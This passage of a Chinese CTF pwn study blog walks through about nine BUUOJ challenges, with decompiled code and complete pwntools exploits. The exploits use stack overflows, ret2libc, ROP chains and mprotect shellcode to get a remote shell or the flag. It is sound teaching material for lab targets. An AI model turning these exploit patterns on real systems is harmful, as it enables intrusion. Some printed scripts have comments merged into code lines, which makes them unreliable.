0x7f50812859c0
[] Closed connection to node4.buuoj.cn port 28501
虽然地址会变,但是只要我们一次执行完,随机化就无效了,说到底中断我们操作的其实就是查版本查偏移,这一步骤加入 exp 中我们就可以一次性完成了,正好,LibcSearcher 就是干这个的,可以用该工具完成查询然后紧接着执行命令打开 /bin/sh,一次性完成,非常丝滑。需要注意的就是在查询完 puts() 函数真实地址之后需要让程序返回主函数,不然,就退出了!而至于 payload 中的这个 main 的地址前要不要考虑 rbp 的存在,那必然是不用的,别忘了他前面的 puts() 函数是我们走正常流程调用的,所以人家执行前就在 main 的头顶放好 rbp 了,不需要我们考虑。此外,本次环境依然需要注意栈平衡的问题。构造 exp 如下:
from pwn import *
from LibcSearcher import *#io = process('./ciscn_2019_c_1')
io = remote('node4.buuoj.cn',27951)
elf = ELF('./ciscn_2019_c_1')puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi = 0x400C83
main_addr = 0x400B28payload = b'\0' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter(b"choice!",b"1")
io.sendlineafter(b"encrypted\n",payload)
io.recvline()
io.recvline()接收并丢弃多余信息
print(io.recvline()) # 输出字节码
puts_addr = hex(u64(io.recvline()[:-1].ljust(8,b'\0')))
#print(puts_addr)十六进制字符串形式输出,[:-1] 去除尾部换行符,ljust() 取 8 字节地址,不足则左对齐补零
libc = LibcSearcher("puts",int(puts_addr,16))
需要十六进制整形数据
libc_base = int(puts_addr,16) - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')retn = 0x400C1C
随便找的 retn,用于平衡栈
payload2 = b'\0' * 0x58 + p64(retn) + p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)
io.sendlineafter(b"choice!",b"1")
io.sendlineafter(b"encrypted\n",payload2)
io.interactive()
上述 exp 执行完成后会让我们在许多 libc 中选择,该这个工具现在用的都是及时更新的数据库所以可选项会有点多,因此在无法判断时可能还是需要借助更多的已调用函数地址来作为依据或者直接挨个尝试。不过怎么说,学了这么多,终于把这题写完了。
ciscn_2019_n_8
首先本地运行一下,该程序会询问你的名字,输入之后就会打印出姓名并打招呼,那么待会儿主要应该就是针对输入名字的这个地方了。
再对文件 checksec 一下,发现竟然保护全开,不会是大的要来了吧。
└─$ checksec ciscn_2019_n_8
[*] '/home/h-t-m/ciscn_2019_n_8'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
使用 IDA 反编译并查看伪代码,发现在两次 if 语句之后程序就会执行威胁语句,那这道题的解法就出来了,让 var[13] 的值等于 17 即可,整合负责读取的函数也没有作任何限制。其中 _QWORD 表示转换空间占用为 64 字节,对应还有数值 17 的类型 LL 也就是 long long,当然这些都不影响解题。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
那就可以直接构造 exp 了,方便起见,将前十四位都直接填为 17。回车之后便成功了,看来本题全开的保护就是拿来吓唬人的。本题 exp 如下:
from pwn import *
io = remote('node4.buuoj.cn',26006)
payload = p32(17) * 14
io.sendline(payload)
io.interactive()
jarvisoj_level2
首先验一下文件,本文件为 32 位可执行文件,保护也基本没开。做题流程慢慢步入正轨的感觉还是很舒适的。
└─$ file level2
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped
└─$ checksec level2
[*] '/home/h-t-m/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
本地执行一下文件,程序会等待我们输入数据,回车之后便会输出 Hello World!。
└─$ ./level2
Input:
h-t-m myr520
Hello World!
IDA 反编译一下,查看伪代码发现主函数中直接调用了 system() 函数,虽然只是用来输出字符串。在这之前程序调用了 vulnerable_function() 函数,点开该函数,发现定义了一个 136 字节的字符数组而又通过 read() 函数向其传入了数据,甚至也自带 system() 函数。值得注意的是,read() 函数限制输入的字符数为 0x100,也就是 256 字节,远大于字符数组占用的空间,因此可以很轻易地栈溢出。
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:");
return read(0, buf, 0x100u);
}
栈溢出地条件已经十分满足了,system() 函数也就在眼前摆着,接下来就差某些危险的命令字符串了,在 IDA 中 Shift + F12 浏览一下程序中的字符串,发现 /bin/sh!
那接下来的流程就很熟悉了,利用栈溢出调用 system() 函数,且在调用之前完成 /bin/sh 作为函数参数的设置。由于文件为 32 位可执行程序,因此函数调用参数也将直接存储于栈中而不需考虑将参数转移到寄存器的问题。参照函数调用时参数先入栈,然后是返回地址和 ebp,其中返回地址的入栈是 call 指令负责执行的,而 ebp 的入栈则是函数执行的开始完成的。因此实际上让程序返回指向 system() 函数的 call 指令地址然后接着参数,待函数调用时,栈中结构便与正常传参调用一致。构造 payload 如下:
from pwn import *
io = remote('node4.buuoj.cn',26502)
payload = b"a"*(136+4) + p32(0x0804849E) + p32(0x0804A024)32 位系统 ebp 占用 4 字节
io.sendlineafter("Input:\n",payload)
io.interactive()
上述 payload 返回跳转到 system() 函数时必须包含 call 指令就是借用其能自动填充栈中 ebp 位与参数之间的返回地址部分,当然这部分任务我们自己也能完成。因此依然可以使用 system() 函数的 PLT 地址,只需在其后额外加上 4 字节替代原返回地址的位置即可,构造 payload 如下:
from pwn import *
io = remote('node4.buuoj.cn',26502)
payload = b"a"*(136+4) + p32(0x08048320) + b"a"*4 + p32(0x0804A024)32 位系统 ebp 占用 4 字节
io.sendlineafter("Input:\n",payload)
io.interactive()
bjdctf_2020_babystack
首先验一下文件,本题给的文件为 64 位可执行程序,保护依然没咋开。
└─$ file bjdctf_2020_babystack
bjdctf_2020_babystack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0f94e35d5a96e7d0fe5c63a525f441e7fa7549b1, not stripped
└─$ checksec bjdctf_2020_babystack
[*] '/home/h-t-m/bjdctf_2020_babystack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
本地执行文件,程序在向我们打完招呼后等待我们输入姓名的长度,随后让我们输入姓名,此后程序终止。
└─$ ./bjdctf_2020_babystack
-
Welcome to the BJDCTF! *
-
And Welcome to the bin world! *
-
Let's try to pwn the world! *
Please told me u answer loudly!*
[+]Are u ready?
[+]Please input the length of your name:
12
[+]What's u name?
h-t-m myr520
IDA 反编译查看伪代码,代码比较简单,实现功能与执行时基本一致。值得注意的是我们所输入的姓名长度会成为 read() 函数限制读取的值,但是并没有专门为变量申请空间,因此当输入值大于 buf 数组所占用的地址时,栈溢出再次实现。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("********************************");
puts(" Welcome to the BJDCTF! ");
puts(" And Welcome to the bin world! ");
puts(" Let's try to pwn the world! ");
puts(" Please told me u answer loudly!");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}
栈溢出条件再次满足,Shift + F12 寻找到危险字符串 /bin/sh,并顺藤摸瓜找出了后门函数 backdoor(),显然现在只需利用栈溢出调用该函数即可。
__int64 backdoor()
{
system("/bin/sh");
return 1LL;
}
在 IDA 中可以看到变量 buf 到栈底偏移量为 0x10。
而有关第一次交互输入的数值,只需比使用的 payload 大即可,毕竟至少得放下 payload。构造 payload 如下:
from pwn import *
io = remote('node4.buuoj.cn',26926)
payload = b"a"*(0x10+8) + p64(0x4006E6)
io.sendlineafter("your name:\n",b"100")
io.sendlineafter("u name?\n",payload)
io.interactive()
[OGeek2019]babyrop
验一下文件先,本题文件为 32 位可执行文件,保护机制与之前相比 RELRO 一栏从 Partial RELRO 变成了 Full RELRO,前者表示程序中的重定位信息可以被重写,比如 GOT 表,而后者则表示不可被重写。不过到此为止还未接触过通过修改 GOT 表等的解题方法,因此对我们影响不大。
└─$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped
└─$ checksec pwn
[*] '/home/h-t-m/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
在本地运行一下程序,程序会等待我们输入数据,回车之后便退出,没有任何其他内容。而若不输入,则程序会在一定时间之后自动退出并回显 Time's up。
└─$ ./pwn
h-t-m myr520
└─$ ./pwn
Time's up
那就老老实实在 IDA 中审计一下代码,主函数在声明完变量之后首先调用了 sub_80486BB() 函数:
int sub_80486BB()
{
alarm(0x3Cu);
signal(14, handler);
// 设定 0x3C 秒后终止程序
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
return setvbuf(stderr, 0, 2, 0);
}
该函数内先执行了一个 alarm() 函数,alarm() 函数会设置一个时间,时间到后便会执行相应行为,其后的 signal() 函数则是将行为设定为程序退出,由于时间设定值为 0x3C,因此对我们几乎没有影响。后续各 setbuf() 函数则是对缓冲区的设置,与解题无关故不做介绍。然后程序便重新回到了主函数:
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
// 打开文件,该文件为 Linux 中的伪设备,提供永不为空的随机字节数据流
if ( fd > 0 )
read(fd, &buf, 4u);
// 读取 4 字节的随机序列存入 buf 中
v2 = sub_804871F(buf);
// 接收函数返回的字符
sub_80487D0(v2);
return 0;
}
主函数随后打开了 Linux 中的提供的伪设备来获取随机序列并读取 4 字节存入变量 buf 中,该变量被传入 sub_804871F() 函数中。sub_804871F() 函数进行一番内存初始化后便将随机序列传给了字符数组 s,然后程序从用户输入中读取数据并将数据与存有随机序列的 s 作比较,若相同则打印 Correct\n 并将用户输入的第八个字符(buf[7])返回给主函数,若不同则程序退出。所以在本地测试时,就是在这里退出了。此外,该函数中对用户输入的读取限制为 0x20 字节,因此无法从这里实现栈溢出。
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
// 初始化内存
sprintf(s, "%ld", a1);
// 将随机序列存入 s
v5 = read(0, buf, 0x20u);
// 读取用户输入,限制大小为 0x20
buf[v5 - 1] = 0;
// 末尾设置为空
v1 = strlen(buf);
// 获取输入字符串的长度,以空字符作为结束
if ( strncmp(buf, s, v1) )
// 比较字符串前 v1 位
exit(0);
// 输入与随机序列相同则退出
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
主函数接收 sub_804871F() 函数返回的字符并传给了 sub_80487D0() 函数,该函数检验字符的 ASCII 码,若等于 127 则程序再从用户输入中读取 0xC8 字节数据,若不等于则读取的数据量等于 ASCII 码所对应的值,也就是说,只要传入的字符的 ASCII 码值足够大,就可以实现栈溢出。
ssize_t __cdecl sub_80487D0(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
return read(0, buf, 0xC8u);
else
return read(0, buf, a1);
}
因此,该程序最后还是存在栈溢出漏洞,不过在此之前我们需要让输入数据与程序获得的随机序列相等才行。这好办,在对这俩数据比较时程序指定比较的位数为我们输入数据的长度,而对数据长度的判断则是使用 strlen() 函数,即以空字符作为字符串结束标准来计算长度。因此只要第一位为空,字符串的长度就会被认为是 0,比较结果就变成真了!构造 payload 如下:
payload = b'\x00'
然后就是让字符串的第八位足够大,由于 sub_80487D0() 函数声明的字符数组高达 231,因此我们也不能太客气,直接拉满即可,构造 payload 如下:
payload = b'\x00'*7 + b'\xFF'
自此就已经绕过随机序列的比较并且完成栈溢出条件的构造,只需利用漏洞调用危险函数即可。然而,很遗憾并没有现成的给我们用:
所幸前几关刚学了通过系统内置的动态链接库来调用危险函数,首先还是得在本次栈溢出调用函数来获取某一个已被调用的函数的真实地址,借此获取系统中的 libc 版本。
程序中输出都是使用 write() 函数,在栈溢出处该函数已被调用,所以其对应 GOT 表在此时已为真实地址,因此这里可以直接让他输出自己的地址。参照此前步骤,payload 生效部分应依次为 write() 函数的 PLT 地址、执行完后返回的地址、各个参数,由于获取 libc 版本后还得继续完成剩余操作,因此这里直接让程序返回主函数。构造 payload2 如下:
elf = ELF("./pwn")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x8048825
payload2 = b'a' * (231 + 4)
payload2 += p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got)
# 省去第三个参数即不限制输出字符数
上述 payload 即可让程序输出 write() 函数的真实地址,获取地址后调用 LibcSearcher 查询版本即可,完事儿之后就可以直接拿到 system() 函数地址及字符串 /bin/sh 地址。值得注意的是,由于 write() 函数输出数据并不自动带末尾换行符,而 pwntools 中的 recvline() 以检测到换行符为结束,因此对输出数据的获取并不能直接使用 recvline() 函数,使用 recv() 函数之间获取四字节的地址值即可。构造此部分 exp 如下:
write_addr = hex(u32(io.recv()[0:4].ljust(4,b'\0')))
#print(write_addr)
libc = LibcSearcher("write",int(write_addr,16))
libc_base = int(write_addr,16) - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
关键的东西全部到手了,接下来就是再一次利用栈溢出调用 system() 函数并执行 /bin/sh 即可,由于结束后不再需要管查询死活,因此返回地址处随意填即可。构造 payload3 如下:
payload3 = b'a' * (231 + 4) + p32(sys_addr) + p32(1314) + p32(bin_sh_addr)
将上述代码整合成完整 exp 理论上就完成了,但是很遗憾,本地可以顺利执行,但是远程则会提示 timeout: the monitored command dumped core 后退出。
[] Switching to interactive mode
timeout: the monitored command dumped core
[] Got EOF while reading in interactive
经过测试发现,靶机中 write() 函数真实地址后三位为 3c0,而 read() 函数后三位为 350,使用两个地址配合查找的话,网上的数据库中便查找不到,也就是说我们根本无法通过 LibcSearcher 查找对应 libc 进而获取危险函数。没有 libc 的话解题就彻底被困住了,不过仔细看题会发现,靶机开始就提供了一个 libc 文件,该文件即为靶机环境中所使用的 libc:
直接使用该文件,并适当修改相应部分 exp 如下:
from pwn import *
io = remote('node4.buuoj.cn',29766)
#io = process('./pwn')elf = ELF("./pwn")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x8048825payload = b'\x00'*7 + b'\xFF'
io.sendline(payload)payload2 = b'a' * (231 + 4)
payload2 += p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got)
io.sendlineafter(b'Correct\n',payload2)write_addr = hex(u32(io.recv()[0:4].ljust(4,b'\0')))
#print(write_addr)
libc = ELF('./libc-2.23.so')
libc_base = int(write_addr,16) - libc.symbols['write']sys_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
io.sendline(payload)
payload3 = b'a' * (231 + 4) + p32(sys_addr) + p32(1314) + p32(bin_sh_addr)
io.sendlineafter(b"Correct\n",payload3)
io.interactive()
get_started_3dsctf_2016
首先验文件,本题文件为 32 位可执行程序,保护依然暂不影响我们。
└─$ file ./get_started_3dsctf_2016
./get_started_3dsctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped
└─$ checksec ./get_started_3dsctf_2016
[*] '/home/h-t-m/get_started_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
本地执行一遍,程序会提出一个问题并等待输入,在输入完成之后程序退出,此外并无任何其他信息。
└─$ ./get_started_3dsctf_2016
Qual a palavrinha magica? h-t-m myr520
IDA 反编译查看伪代码,主函数十分简单,就是本地测试时的全部内容了。不过程序使用 gets() 函数将数据存入字符数组 v4 并没有限制数据大小,因此这里存在栈溢出。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF
printf("Qual a palavrinha magica? ", v4[0]);
gets(v4);
return 0;
}
传参绕过
有栈溢出好说,接下来找找类似 system() 与 /bin/sh 这样的危险内容即可。很可惜,本题的文件并不含有这些,不过,在主函数旁边有个 get_flag() 函数极其引人注目,查看发现该函数直接打开了 flag.txt 并且存在将文件内容输出的可能。稍做审计可知,只需传入的两个参数分别等于 814536271 和 425138641 即可让程序输出 flag。
void __cdecl get_flag(int a1, int a2)
{
int v2; // esi
unsigned __int8 v3; // al
int v4; // ecx
unsigned __int8 v5; // al
if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = getc(v2);
// 读取一个字符
if ( v3 != 255 )
{
v4 = (char)v3;
do
{
putchar(v4);
// 逐个输出字符
v5 = getc(v2);
v4 = (char)v5;
}
while ( v5 != 255 );
// 读取文件末尾时终止,255 即 EOF 值 -1 的补码
}
fclose(v2);
}
}
那么现在只需调用 get_flag() 函数并传参即可,因为是 32 位程序,所以参数之间在栈中传递即可。不过,本题的文件还有一个十分值得注意的地方,函数在栈中并不遵循栈帧结构,可在反编译后的汇编代码中看到,函数开始与结束均未对 ebp 进行操作。
即并没有用一个寄存器来存储栈帧的栈底,而仅使用栈顶指针完成栈的控制。因此,原本栈帧结构中需要预留的 ebp / rbp 位在本题中并不存在,在填充完局部变量后加返回地址即可完成跳转。构造 payload 如下:
payload = b'a' * 56 + p32(0x80489A0) + p32(0) + p32(814536271) + p32(425138641)
在本地一切正常,但是上述 payload 并无法通过远程,虽然 get_flag() 属于正常调用,但是调用结束后并没有指定返回地址,于是便造成了程序的非正常退出,所以数据回显便被阻断了,而此题之前的程序都是在执行时拿下 Shell 所以并不涉及该问题。程序中带有一个 exit() 函数,可以让程序正常退出,因此获取 flag 后跳转到该函数即可,修改 payload 如下:
payload = b'a' * 56 + p32(0x80489A0) + p32(0x804E6A0) + p32(814536271) + p32(425138641)
构造 exp 如下,由于本次是获取对方输出的 flag 而非获取 Shell,因此直接打印出来即可。
from pwn import *
io = remote('node4.buuoj.cn',27396)
#io = process('./get_started_3dsctf_2016')
payload = b'a' * 56 + p32(0x80489B8) + p32(0x804E6A0) + p32(814536271) + p32(425138641)
io.sendline(payload)
print(io.recv())
此外,也可直接跳转至 get_flag() 函数中的 if 语句之后,这样可绕过参数的传递与判断。这样在本地是可行的,但是远程依然不可行,应该是非正常调用被发现了。
mprotect
上述步骤坎坎坷坷,据说本题正规解法是利用程序中的 mprotect() 函数修改一段指定内存区域的保护属性,即将内存中的一块区域设为可读写可执行,这样就可以向其中写入代码(shellcode)并执行。首先调用 mprotect() 函数,该函数使用方法如下:
int mprotect(void *addr, size_t len, int prot);
addr 内存起始地址
len 修改内存的长度
prot 内存的权限
由于函数修改权限以页为单位,因此内存起始长度及待修改长度均需对齐页,即末三位为 0。内存权限则对应 RWX 值,可读可写可执行对应值为 7。至于选择哪个地址,其实几乎可以随处修改,但鉴于修改到关键地方会造成程序中断,因此这里选择原本就具有写权限的内存区域,在 IDA 中 Ctrl + s 即可查看各段的地址:
一般选择 BSS 段,该段存放未初始化的全局变量和局部静态变量,因此对其修改基本不会影响后续操作。所以调用 mprotect() 函数并传参部分的 payload 如下,其中执行完成后的返回地址并没有指定:
mpt_addr = 0x806EC80
payload = b'a' * 56 + p32(mpt_addr) + p32(X) + p32(0x80EB000) + p32(0x2000) + p32(7)
修改完权限之后就要对相应内存进行写入了,但在此之前,还存在一个问题。如果 mprotect() 函数结束后直接跳转至写入函数,则栈中的三个参数就会一直存在而又被当作写入函数的参数,以往这都是由调用的一方完成清理的。因此我们此时还需要些 gadget 来完成三次 pop 操作后继续 ret 回来,使用如下命令:
ROPgadget --binary get_started_3dsctf_2016 | grep 'pop'
三连 pop + ret 可太多了,随便选一个即可,因此补充 payload 如下:
mpt_addr = 0x806EC80
pop3_ret = 0x80856d1
payload = b'a' * 56 + p32(mpt_addr) + p32(pop3_ret) + p32(0x80EB000) + p32(0x2000) + p32(7)
随后就该正式写入了,这里使用 read() 函数,该函数使用方法如下:
int read(int handle,void *buf,int len);
handle 为要读取的文件,为 0 时从输入读取
*buf 为要将读取的内容保存的缓冲区,设为修改的地址即可完成写入
len 读取文件的长度,需要保证足够长
前一步补了 ret,因此在当前 payload 后直接加 read() 函数地址即可完成跳转,参数的传递则与 mprotect() 函数一致,在未指定如何返回的情况下,补充 payload 如下:
payload += p32(0x806E140) + p32(X) + p32(0) + p32(0x80EB000) + p32(0x2000)
等到 read() 函数执行完时,shellcode 也完成了写入,因此再跳转至之前所修改的内存地址处就可以开始执行 shellcode。与之前一样, read() 函数同样在栈中占有了三个参数,因此需要再一次用到之前的 gadget 来清理后继续跳转,而 shellcode 的地址,跟在前述 payload 之后即可成功跳转,补充 payload 如下:
payload += p32(0x806E140) + p32(pop3_ret) + p32(0) + p32(0x80EB000) + p32(0x2000)
payload += p32(0x80EB000)
自此,payload 便构造完毕,最后需要考虑的就是如何输入 shellcode,不过这直接可以在 pwntools 中调用函数完成构造。最终的 exp 如下,不得不说大佬解法太优雅了:
from pwn import *
io = remote('node4.buuoj.cn',27396)
elf = ELF('./get_started_3dsctf_2016')
#r = process('./get_started_3dsctf_2016')mpt_addr = 0x806EC80
pop3_ret = 0x80856d1
payload = b'a' * 56 + p32(mpt_addr) + p32(pop3_ret) + p32(0x80EB000) + p32(0x2000) + p32(7)
payload += p32(0x806E140) + p32(pop3_ret) + p32(0) + p32(0x80EB000) + p32(0x2000)
payload += p32(0x80EB000)io.sendline(payload)
shellcode = asm(shellcraft.sh())shellcraft.sh() 构造 shellcode
asm() 完成汇编操作
io.sendline(shellcode )
io.interactive()
不过,得益于本题文件为静态链接,才可以这么放纵地调用原程序未调用的函数 mprotect,否则又是一段 libc 的兵荒马乱
jarvisoj_level2_x64
首先验文件,本题文件为 64 位可执行文件,保护依然没咋开,但是 RELRO 一栏由以往的 Partial RELRO 变成了 No RELRO,即字面意思,表示对重定位信息不作任何保护,依然于我们无影响。
└─$ file ./level2_x64
./level2_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17f0f0026ee70f2e0c8c600edcbe06862a9845bd, not stripped
└─$ checksec ./level2_x64
[*] '/home/h-t-m/level2_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
本地执行一遍,程序等待输入并随后输出 Hello World! 退出。看起来本题与前面 jarvisoj_level2 基本一致,只是换成 64 位版本。
└─$ ./level2_x64
Input:
h-t-m myr520
Hello World!
IDA 反编译查看伪代码发现程序与 jarvisoj_level2 中的程序基本相同,仅仅对字符数组的大小及 read() 函数读取的限制做了修改,栈溢出范围还更大了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
return system("echo 'Hello World!'");
}
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
system("echo Input:");
return read(0, buf, 0x200uLL);
}
由上,本题解题思路与 jarvisoj_level2 一致,通过栈溢出调用 system() 函数并将程序中隐藏的字符串 /bin/sh 作为参数传入。不过既然是 64 位程序了,传参就要先把参数整寄存器上了,因此首先需要一个 pop rdi + ret 的 gadget 在传参后再返回调用 system() 函数,gadget 查询如下:
└─$ ROPgadget --binary level2_x64 | grep 'pop rdi'
0x00000000004006b3 : pop rdi ; ret
拿到 gadget 后再结合 IDA 中找到的危险函数与参数地址即可构造 exp 如下,由于并不需要考虑后续栈中的数据,因此 system 函数使用哪个地址可以随意(除了GOT,因为动态链接):
from pwn import *
io = remote('node4.buuoj.cn',28523)
#io = process('./level2_x64')
payload = b"a"*(128+8) + p64(0x4006b3) + p64(0x600A90) + p64(0x4004C0)
# pop_rdi # 参数地址 # system() PLT 地址
io.sendlineafter(b"Input:\n",payload)
io.interactive()
[HarekazeCTF2019]baby_rop
先验文件,本题文件为 64 位可执行文件,保护依然近似没开。
└─$ file ./babyrop
./babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b5a3b2575c451140ec967fd78cf8a60f2b7ef17f, not stripped
└─$ checksec ./babyrop
[*] '/home/h-t-m/babyrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
本地执行,程序会提问用户姓名,然后输出姓名向你表示欢迎而后退出。可以看到程序对输入数据的读取到空格便结束了,因此可以推测读取输入使用的是 scanf() + %s 的形式。
└─$ ./babyrop
What's your name? h-t-m myr520
Welcome to the Pwn World, h-t-m!
IDA 反编译查看伪代码,代码结构与本地执行时的逻辑基本吻合。值得注意的是,一开始的打招呼语句是使用 system() 函数输出的。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF
system("echo -n "What's your name? "");
__isoc99_scanf("%s", v4);
printf("Welcome to the Pwn World, %s!\n", v4);
return 0;
}
有了现成的危险函数,再找个 /bin/sh 就更好了,Shift + F12 直接找到。
由于 scanf() 函数没有限制输入,因此栈溢出存在,再次进行 64 位程序函数调用并传参即可,首先取一下 gadget:
└─$ ROPgadget --binary babyrop | grep 'pop rdi'
0x0000000000400683 : pop rdi ; ret
万事俱备,直接构造 exp 如下:
from pwn import *
io = remote('node4.buuoj.cn',29799)
#io = process('./babyrop')
payload = b"a"*(16+8) + p64(0x400683) + p64(0x601048) + p64(0x400490)
io.sendline(payload)
io.interactive()
有趣的是,本题的 flag 藏得还挺深的,路径为:/home/babyrop/flag,可用 find 命令查询:
$ find / -name 'flag'
/home/babyrop/flag
ciscn_2019_en_2
测试阶段越测越觉得似曾相识,发现本题与 ciscn_2019_c_1 简直一模一样,甚至 exp 可以完全共用,因此本题 exp 如下:
from pwn import *
from LibcSearcher import *#io = process('./ciscn_2019_en_2')
io = remote('node4.buuoj.cn',26540)
elf = ELF('./ciscn_2019_en_2')puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi = 0x400C83
main_addr = 0x400B28payload = b'\0' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter(b"choice!",b"1")
io.sendlineafter(b"encrypted\n",payload)
io.recvline()
io.recvline()接收并丢弃多余信息
print(io.recvline()) # 输出字节码
puts_addr = hex(u64(io.recvline()[:-1].ljust(8,b'\0')))
#print(puts_addr)十六进制字符串形式输出,[:-1] 去除尾部换行符,ljust() 取 8 字节地址,不足则左对齐补零
libc = LibcSearcher("puts",int(puts_addr,16))
需要十六进制整形数据
libc_base = int(puts_addr,16) - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')retn = 0x400C1C
随便找的 retn,用于平衡栈
payload2 = b'\0' * 0x58 + p64(retn) + p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)
io.sendlineafter(b"choice!",b"1")
io.sendlineafter(b"encrypted\n",payload2)
io.interactive()
虽然但是,总不能真的一模一样吧,于是笔者查看了两个题目文件的 MD5 等值,发现竟然不一样:
那么问题来了,到底区别在哪里呢,使用比较工具发现,两个文件仅有三个字节的差异。
根据差异位置再追溯到 IDA 中相应位置查看,发现是 encrypt() 函数中异或操作的值变了。也就是说,这两题除了这三个字母以外,一个比特位的差距都没有。
所以,请放心使用之前的 exp。
后记
本篇笔记写到这里就该告一段落了,自此,这就是笔者在 PWN 这个方向做的最初 0x10 道题。在这个崭新的世界,一不留神就能学到许多东西,不敢相信就这么写了一万多字。虽然不断独自深入学习确实是相当痛苦的事,但是不得不说,将从前各种报错的 C 程序通过汇编级运作达到为所欲为的感觉真是太爽了,到这呢我也就算是正式开始入门了。写博客确实花费了不少时间,但是专心写博客真的逼我解决了许多一般情况下不会去考虑的问题,也许过不了多久我也成为百万字站长了。
每天挤点时间拿来刷题写博客实在是太爽了,好久没有这么充实过了,正式开始入门之后对网安的感觉真的很不一样,每天都有学不完的东西,希望当下的这股干劲能一直保留。